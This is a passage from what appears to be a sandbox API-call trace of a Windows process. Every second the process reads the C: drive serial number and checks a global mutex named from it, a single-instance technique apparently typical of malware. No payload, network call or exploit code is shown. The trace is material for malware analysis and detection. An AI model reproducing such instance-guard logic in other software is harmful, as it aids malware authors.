nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0190.316] GetProcessHeap () returned 0x6a0000 [0190.316] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0190.316] GetProcessHeap () returned 0x6a0000 [0190.316] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0190.316] GetProcessHeap () returned 0x6a0000 [0190.316] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0190.316] GetProcessHeap () returned 0x6a0000 [0190.316] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b00b0 [0190.316] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0190.316] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1e0 [0190.317] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x0 [0190.317] GetProcessHeap () returned 0x6a0000 [0190.317] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0190.317] GetProcessHeap () returned 0x6a0000 [0190.317] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0190.317] ReleaseMutex (hMutex=0x1e0) returned 1 [0190.317] CloseHandle (hObject=0x1e0) returned 1 [0190.317] Sleep (dwMilliseconds=0x3e8) [0192.021] GetProcessHeap () returned 0x6a0000 [0192.021] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db070 [0192.021] GetProcessHeap () returned 0x6a0000 [0192.021] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db110 [0192.021] GetProcessHeap () returned 0x6a0000 [0192.021] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db138 [0192.021] GetProcessHeap () returned 0x6a0000 [0192.021] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x7990e0 [0192.021] GetProcessHeap () returned 0x6a0000 [0192.022] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7990e0 | out: hHeap=0x6a0000) returned 1 [0192.022] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db110, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0192.022] GetProcessHeap () returned 0x6a0000 [0192.022] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0192.022] GetProcessHeap () returned 0x6a0000 [0192.022] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0192.022] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0192.022] GetProcessHeap () returned 0x6a0000 [0192.022] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db110 | out: hHeap=0x6a0000) returned 1 [0192.022] GetProcessHeap () returned 0x6a0000 [0192.023] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0192.023] GetProcessHeap () returned 0x6a0000 [0192.023] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0192.023] GetProcessHeap () returned 0x6a0000 [0192.023] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b00b0 [0192.023] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0192.023] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x200 [0192.023] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x0 [0192.023] GetProcessHeap () returned 0x6a0000 [0192.023] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0192.023] GetProcessHeap () returned 0x6a0000 [0192.023] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0192.023] ReleaseMutex (hMutex=0x200) returned 1 [0192.023] CloseHandle (hObject=0x200) returned 1 [0192.023] Sleep (dwMilliseconds=0x3e8) [0193.263] GetProcessHeap () returned 0x6a0000 [0193.263] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db110 [0193.263] GetProcessHeap () returned 0x6a0000 [0193.263] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db070 [0193.263] GetProcessHeap () returned 0x6a0000 [0193.263] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db138 [0193.263] GetProcessHeap () returned 0x6a0000 [0193.263] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x7990e0 [0193.263] GetProcessHeap () returned 0x6a0000 [0193.263] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7990e0 | out: hHeap=0x6a0000) returned 1 [0193.263] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db070, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0193.263] GetProcessHeap () returned 0x6a0000 [0193.263] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db138 | out: hHeap=0x6a0000) returned 1 [0193.263] GetProcessHeap () returned 0x6a0000 [0193.263] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db110 | out: hHeap=0x6a0000) returned 1 [0193.263] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0193.264] GetProcessHeap () returned 0x6a0000 [0193.264] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0193.264] GetProcessHeap () returned 0x6a0000 [0193.264] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0193.264] GetProcessHeap () returned 0x6a0000 [0193.264] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4878 [0193.264] GetProcessHeap () returned 0x6a0000 [0193.264] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4878, Size=0x72) returned 0x6b00b0 [0193.264] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0193.264] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1fc [0193.264] WaitForSingleObject (hHandle=0x1fc, dwMilliseconds=0x0) returned 0x0 [0193.264] GetProcessHeap () returned 0x6a0000 [0193.264] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0193.264] GetProcessHeap () returned 0x6a0000 [0193.264] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0193.264] ReleaseMutex (hMutex=0x1fc) returned 1 [0193.264] CloseHandle (hObject=0x1fc) returned 1 [0193.265] Sleep (dwMilliseconds=0x3e8) [0194.351] GetProcessHeap () returned 0x6a0000 [0194.351] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba1e0 [0194.351] GetProcessHeap () returned 0x6a0000 [0194.351] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba4d8 [0194.351] GetProcessHeap () returned 0x6a0000 [0194.351] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba460 [0194.351] GetProcessHeap () returned 0x6a0000 [0194.351] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x7990e0 [0194.351] GetProcessHeap () returned 0x6a0000 [0194.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7990e0 | out: hHeap=0x6a0000) returned 1 [0194.351] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba4d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0194.351] GetProcessHeap () returned 0x6a0000 [0194.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba460 | out: hHeap=0x6a0000) returned 1 [0194.351] GetProcessHeap () returned 0x6a0000 [0194.351] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba1e0 | out: hHeap=0x6a0000) returned 1 [0194.351] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0194.352] GetProcessHeap () returned 0x6a0000 [0194.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: hHeap=0x6a0000) returned 1 [0194.352] GetProcessHeap () returned 0x6a0000 [0194.352] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b43f8 [0194.352] GetProcessHeap () returned 0x6a0000 [0194.352] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4830 [0194.352] GetProcessHeap () returned 0x6a0000 [0194.352] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4830, Size=0x72) returned 0x6b00b0 [0194.352] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0194.352] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x208 [0194.352] WaitForSingleObject (hHandle=0x208, dwMilliseconds=0x0) returned 0x0 [0194.352] GetProcessHeap () returned 0x6a0000 [0194.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b43f8 | out: hHeap=0x6a0000) returned 1 [0194.352] GetProcessHeap () returned 0x6a0000 [0194.352] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0194.352] ReleaseMutex (hMutex=0x208) returned 1 [0194.352] CloseHandle (hObject=0x208) returned 1 [0194.352] Sleep (dwMilliseconds=0x3e8) [0195.711] GetProcessHeap () returned 0x6a0000 [0195.711] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba4d8 [0195.711] GetProcessHeap () returned 0x6a0000 [0195.711] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba1e0 [0195.711] GetProcessHeap () returned 0x6a0000 [0195.711] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba460 [0195.711] GetProcessHeap () returned 0x6a0000 [0195.711] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x7990e0 [0195.711] GetProcessHeap () returned 0x6a0000 [0195.711] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7990e0 | out: hHeap=0x6a0000) returned 1 [0195.711] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba1e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0195.711] GetProcessHeap () returned 0x6a0000 [0195.711] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba460 | out: hHeap=0x6a0000) returned 1 [0195.711] GetProcessHeap () returned 0x6a0000 [0195.712] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: hHeap=0x6a0000) returned 1 [0195.712] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0195.712] GetProcessHeap () returned 0x6a0000 [0195.712] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba1e0 | out: hHeap=0x6a0000) returned 1 [0195.712] GetProcessHeap () returned 0x6a0000 [0195.712] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b43f8 [0195.712] GetProcessHeap () returned 0x6a0000 [0195.712] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4830 [0195.712] GetProcessHeap () returned 0x6a0000 [0195.712] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4830, Size=0x72) returned 0x6b00b0 [0195.712] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0xe0 [0195.712] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x0) returned 0x102 [0195.712] CloseHandle (hObject=0xe0) returned 1 [0195.712] GetProcessHeap () returned 0x6a0000 [0195.712] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b43f8 | out: hHeap=0x6a0000) returned 1 [0195.712] GetProcessHeap () returned 0x6a0000 [0195.713] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0195.713] Sleep (dwMilliseconds=0x3e8) [0197.236] GetProcessHeap () returned 0x6a0000 [0197.236] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dadf0 [0197.236] GetProcessHeap () returned 0x6a0000 [0197.236] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6dae40 [0197.236] GetProcessHeap () returned 0x6a0000 [0197.236] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db070 [0197.236] GetProcessHeap () returned 0x6a0000 [0197.236] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bd588 [0197.236] GetProcessHeap () returned 0x6a0000 [0197.236] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bd588 | out: hHeap=0x6a0000) returned 1 [0197.236] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6dae40, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0197.236] GetProcessHeap () returned 0x6a0000 [0197.236] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0197.236] GetProcessHeap () returned 0x6a0000 [0197.236] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dadf0 | out: hHeap=0x6a0000) returned 1 [0197.236] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0197.237] GetProcessHeap () returned 0x6a0000 [0197.237] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dae40 | out: hHeap=0x6a0000) returned 1 [0197.237] GetProcessHeap () returned 0x6a0000 [0197.237] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0197.237] GetProcessHeap () returned 0x6a0000 [0197.237] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0197.237] GetProcessHeap () returned 0x6a0000 [0197.237] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b00b0 [0197.237] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x17c [0197.237] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0x0) returned 0x102 [0197.237] CloseHandle (hObject=0x17c) returned 1 [0197.237] GetProcessHeap () returned 0x6a0000 [0197.237] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0197.237] GetProcessHeap () returned 0x6a0000 [0197.237] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0197.237] Sleep (dwMilliseconds=0x3e8) [0198.376] GetProcessHeap () returned 0x6a0000 [0198.376] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dae40 [0198.376] GetProcessHeap () returned 0x6a0000 [0198.376] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6dadf0 [0198.376] GetProcessHeap () returned 0x6a0000 [0198.376] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db070 [0198.376] GetProcessHeap () returned 0x6a0000 [0198.376] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bd588 [0198.376] GetProcessHeap () returned 0x6a0000 [0198.376] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bd588 | out: hHeap=0x6a0000) returned 1 [0198.376] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6dadf0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0198.376] GetProcessHeap () returned 0x6a0000 [0198.376] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0198.376] GetProcessHeap () returned 0x6a0000 [0198.376] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dae40 | out: hHeap=0x6a0000) returned 1 [0198.376] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0198.377] GetProcessHeap () returned 0x6a0000 [0198.377] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dadf0 | out: hHeap=0x6a0000) returned 1 [0198.377] GetProcessHeap () returned 0x6a0000 [0198.377] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0198.377] GetProcessHeap () returned 0x6a0000 [0198.377] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0198.377] GetProcessHeap () returned 0x6a0000 [0198.377] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b00b0 [0198.377] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x17c [0198.377] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0x0) returned 0x102 [0198.377] CloseHandle (hObject=0x17c) returned 1 [0198.377] GetProcessHeap () returned 0x6a0000 [0198.377] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0198.377] GetProcessHeap () returned 0x6a0000 [0198.377] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0198.377] Sleep (dwMilliseconds=0x3e8) [0199.454] GetProcessHeap () returned 0x6a0000 [0199.454] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dadf0 [0199.454] GetProcessHeap () returned 0x6a0000 [0199.454] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6dae40 [0199.454] GetProcessHeap () returned 0x6a0000 [0199.454] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db070 [0199.454] GetProcessHeap () returned 0x6a0000 [0199.454] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bd588 [0199.455] GetProcessHeap () returned 0x6a0000 [0199.455] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bd588 | out: hHeap=0x6a0000) returned 1 [0199.455] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6dae40, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0199.455] GetProcessHeap () returned 0x6a0000 [0199.455] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db070 | out: hHeap=0x6a0000) returned 1 [0199.455] GetProcessHeap () returned 0x6a0000 [0199.455] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dadf0 | out: hHeap=0x6a0000) returned 1 [0199.455] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0199.455] GetProcessHeap () returned 0x6a0000 [0199.455] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dae40 | out: hHeap=0x6a0000) returned 1 [0199.455] GetProcessHeap () returned 0x6a0000 [0199.455] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0199.455] GetProcessHeap () returned 0x6a0000 [0199.455] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0199.455] GetProcessHeap () returned 0x6a0000 [0199.455] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b00b0 [0199.455] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x17c [0199.456] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0x0) returned 0x102 [0199.456] CloseHandle (hObject=0x17c) returned 1 [0199.456] GetProcessHeap () returned 0x6a0000 [0199.456] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0199.456] GetProcessHeap () returned 0x6a0000 [0199.456] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0199.456] Sleep (dwMilliseconds=0x3e8) [0200.643] GetProcessHeap () returned 0x6a0000 [0200.643] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba438 [0200.643] GetProcessHeap () returned 0x6a0000 [0200.643] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba1e0 [0200.643] GetProcessHeap () returned 0x6a0000 [0200.643] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba4d8 [0200.643] GetProcessHeap () returned 0x6a0000 [0200.643] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bb658 [0200.643] GetProcessHeap () returned 0x6a0000 [0200.643] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb658 | out: hHeap=0x6a0000) returned 1 [0200.643] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba1e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0200.643] GetProcessHeap () returned 0x6a0000 [0200.643] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: hHeap=0x6a0000) returned 1 [0200.643] GetProcessHeap () returned 0x6a0000 [0200.644] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba438 | out: hHeap=0x6a0000) returned 1 [0200.644] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0200.644] GetProcessHeap () returned 0x6a0000 [0200.645] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba1e0 | out: hHeap=0x6a0000) returned 1 [0200.645] GetProcessHeap () returned 0x6a0000 [0200.645] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b45f0 [0200.645] GetProcessHeap () returned 0x6a0000 [0200.645] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4638 [0200.645] GetProcessHeap () returned 0x6a0000 [0200.645] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4638, Size=0x72) returned 0x6b00b0 [0200.645] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x11c [0200.645] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0x0) returned 0x102 [0200.645] CloseHandle (hObject=0x11c) returned 1 [0200.645] GetProcessHeap () returned 0x6a0000 [0200.645] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b45f0 | out: hHeap=0x6a0000) returned 1 [0200.645] GetProcessHeap () returned 0x6a0000 [0200.645] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0200.645] Sleep (dwMilliseconds=0x3e8) [0201.970] GetProcessHeap () returned 0x6a0000 [0201.970] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba1e0 [0201.970] GetProcessHeap () returned 0x6a0000 [0201.970] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba438 [0201.970] GetProcessHeap () returned 0x6a0000 [0201.970] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba4d8 [0201.971] GetProcessHeap () returned 0x6a0000 [0201.971] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bb658 [0201.971] GetProcessHeap () returned 0x6a0000 [0201.971] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb658 | out: hHeap=0x6a0000) returned 1 [0201.971] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba438, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0201.971] GetProcessHeap () returned 0x6a0000 [0201.971] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: hHeap=0x6a0000) returned 1 [0201.971] GetProcessHeap () returned 0x6a0000 [0201.971] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba1e0 | out: hHeap=0x6a0000) returned 1 [0201.971] 